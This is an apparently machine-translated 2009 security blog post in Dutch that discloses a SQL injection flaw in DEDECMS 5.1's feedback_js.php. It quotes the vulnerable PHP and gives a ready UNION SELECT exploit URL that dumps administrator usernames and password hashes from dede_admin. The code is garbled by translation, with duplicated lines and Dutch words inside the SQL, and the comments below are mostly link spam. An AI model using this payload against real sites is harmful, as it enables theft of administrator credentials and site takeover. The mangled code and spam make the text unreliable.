DEDECMS 5,1 feedback_js.php 0day-0 dagen, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5,1 feedback_js.php 0day

Dit bericht is geplaatst op 11 oktober 2009

Auteur: st0p Rainy'Fox
Reproductie gelieve de bron: http://www.st0p.org http://bbs.erpangzi.com/

Deze kwetsbaarheid wordt gevonden en Rainy'Fox is ook beschikbaar in het geval magic_quotes_gpc = uit

Kwetsbaarheid Versie: Artikelen Condo 5,1
Dit kan worden benut met het administrator account te krijgen in de achtergrond en coderen van de hash, mazen in de wet bestaan bestand plus / feedback_js.php, ongefilterde parameters van $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (empty ($ ARCID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> dsql -> GetOne ("Select id Van` # @ __ cache_feedbackurl `waar url = '$ arcurl" ");
        / / Hier $ arcurl geen filter
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Presenteer de resultaten zet $ urlindex opdracht voor een query naar de $ row ['id'], kunnen we bouwen SQL-statements in de volgende besturingssystemen
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (empty ($ ARCID) && empty ($ urlindex)) exit ();
 / / Als $ ARCID is leeg of $ urlindex lege exit
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ ARCID)) $ wq = "urlindex = '$ urlindex'";
 / / $ ARCID leeg is, net boven de resultaten van de uitvoering zal worden toegewezen aan $ wq in de volgende bewerkingen uitgevoerd.
 = " aid=' $arcID ' " ; else $ wq = "hulp = '$ ARCID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Querystring = "SELECT * FROM` # @ __ feedback `waar $ WQ en ischeck = '1 'ORDER BY plotten desc";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ querystring);
 ......

Kijk naar het gebruik van, hey, gesloten ik twee unie

Een

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'UNION SELECT "' en 1 = 2 Unie te selecteren 1,1,1, userid, 3,1,3,3, PWD, 1,1,3 , 1,1,1,1,1 van dede_admin waarbij 1 = 1 unie SELECT * FROM dede_feedback waarbij 1 = 2 en'' = '"van dede_admin waar'' ='

Helaas, zelfs en Rainy'Fox deze man om target test te vinden wanneer hij eigenlijk zei dat kan op de magic_quotes_gpc = on als door middel van .... dit idee te YD .. te verschrikkelijk, om echt te bereiken sector netwerk moet de chaos, veel programma's zijn standaard in PHP magic_quotes_gpc is uitgeschakeld, zullen hun eigen ontsnapping deel te bellen ... die je echt kunt bereiken, dat is de nachtmerrie van de PHP-programma ...

Lees · vechtsporten Cheats

368 Reacties op "DEDECMS 5,1 feedback_js.php 0day"

Door хостинг op 19 november 2009 | Reageer
zelo intiresno, Hvala
De door AKfour zeven op 01 december 2009 | Reageer
Ik sta hier vandaag, nederig door de taak die voor [url = http://www.bawwgt.com] DOFUS kamas [/ url], dankbaar voor het vertrouwen dat jullie mij hebben gegeven, zich bewust van de offers die door onze [url = http:/ / www.bawwgt.com] goedkope DOFUS kamas [/ url]. Ik dank President [url = http://www.bawwgt.com] DOFUS powerleveling [/ url] voor zijn dienst aan [url = http://www . bawwgt.com] te kopen DOFUS kamas [/ url], zoals ook voor de gastvrijheid en medewerking die hij heeft betoond gedurende het hele proces van overdracht.
De door wsewtoexg op 3 december 2009 | Reageer
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Door tedy op 5 december 2009 | Reageer
Slechts 34 dagen voor DOFUS 2.0! 02 december zal hier zijn voordat we het weten [url = http://www.bawwgt.com/fr] DOFUS kamas [/ url]. Op [url = http://www.bawwgt.com / fr] DOFUS kamas moins chers [/ url] elke speler zal een compleet nieuwe DOFUS ervaring te ontdekken. [url = http://www.bawwgt.com/fr] acheter des DOFUS kamas [/ url] moet tevreden zijn met de te rapporten en forums. Toch [url = http://www.bawwgt.com/fr] achat DOFUS kamas [/ url], is er ¡ ¯ s altijd een paar van onze beste spelers in de forums.
Door te kopen Strattera op 13 december 2009 | Reageer
Dit is een koele nieuws. Dank je wel.
De door Seengart op 14 december 2009 | Reageer
huh ... informatieve de stijl ..
Door Natasha-web op 16 december 2009 | Reageer
Vdaka za zaujimavy blog
De door ConradSimone op 8 maart 2012 | Reageer
Nou, dit is erg interessant indeed.Would liefde een beetje meer van dit te lezen. Bewonder de waardevolle informatie die u aanbiedt in uw artikelen.
De Conrad door Simone